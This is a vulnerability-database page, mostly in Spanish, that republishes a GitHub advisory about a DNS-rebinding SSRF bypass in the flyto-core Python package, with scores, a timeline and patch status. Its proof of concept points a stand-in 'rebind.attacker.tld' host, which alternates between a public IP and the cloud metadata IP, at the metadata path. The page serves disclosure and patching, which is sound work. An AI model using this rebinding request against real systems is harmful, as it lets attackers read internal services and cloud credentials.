llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-PFG2-W999-497V

Flyto2 Core: SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.1
Alta
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -132 d de la divulgación
Exposición1 dDesde la divulgación, 19 nov 2026, 7:09 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 2.26.8
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
11 jul 26
18 nov 26
20 nov 26
21 nov 26
11 jul 26
13 ago 26
15 sept 26
18 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.26.8 flyto-core · -132 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-PFG2-W999-497V divulgada · CVSS 7.1 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
`validate_url_ssrf` resolves the hostname, checks the IP against private ranges, then discards the IP and returns the hostname URL string. aiohttp performs a fresh, independent DNS resolution at connect time. An attacker controlling DNS for a hostname (TTL 0, alternating public IP and internal IP) passes validation on the first lookup and connects to the internal IP on the second — a classic check-then-use race. SECURITY_SSRF.md line 63 explicitly claims DNS-rebinding is prevented; it is not.

## Root Cause
`src/core/utils.py:523` returns the hostname URL after validation; the resolved IP is never pinned. A repo grep of `http/` and `utils.py` for `TCPConnector` / `resolver` / `response.history` / `on_request_redirect` / IP-pinning returns NONE. Each module builds a fresh `ClientSession` per call → the connect-time `getaddrinfo` is independent of the validation-time lookup.

## Impact
Defeats the SSRF guard on ALL modules that call it (readable internal fetch). Independent of IP-range completeness — the private IP is never presented to `is_private_ip`. Requires attacker DNS control + winning the resolution race → AC:H.

## Proof of Concept
Code-proven: `validate_url_ssrf` returns the hostname (utils.py:523); no pinned-IP connector anywhere. Two independent resolutions occur (validation-time and aiohttp connect-time).

attacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP
execute_module http.get {"url":"http://rebind.attacker.tld/latest/meta-data/..."}

## Attack Chain
1. Entry: `http.get {url:"http://rebind.attacker.tld/..."}`. Guard: `validate_url_with_env_config`. Bypass proof: `getaddrinfo(rebind.attacker.tld)` returns the public IP, `is_private_ip=False` (utils.py:511-519); returns the hostname URL (:523) — the IP is discarded.
2. Sink: `session.get("http://rebind.attacker.tld/...")` (get.py:116). aiohttp performs a FRESH independent `getaddrinfo` at connect → now resolves to the internal IP. Bypass proof: no `TCPConnector`/`AsyncResolver`/pinned-IP in `http/` (grep confirms none). Two lookups.
3. Impact: internal fetch, body returned.

## Bypass Evidence
`utils.py:523` returns the hostname string, not a pinned IP; grep confirms no IP pinning or custom resolver anywhere on the path; fresh `ClientSession` per call guarantees an independent second resolution.

## Affected Versions
`<= 2.26.6` — `utils.py:523` present on latest release tag; no pinning added on HEAD.

## Suggested Fix
Resolve the hostname once, pin the validated IP, and connect to that IP (custom `TCPConnector`/resolver) — reject any connect-time resolution that differs. This is the fix SECURITY_SSRF.md already claims is in place.

Credit

Vulnerability discovered by zx (Jace).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
6.3/ 10Medio
Vector 6.3 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core< 2.26.8
2.26.8
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.26.8 -132 d 2.41.0 no afectada
Versiones corregidas2.26.8
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/flytohub/flyto-core/security/advisories/GHSA-pfg2-w999-497v
Otrahttps://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a
Otrahttps://github.com/flytohub/flyto-core
Otrahttps://github.com/flytohub/flyto-core/releases/tag/v2.26.8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.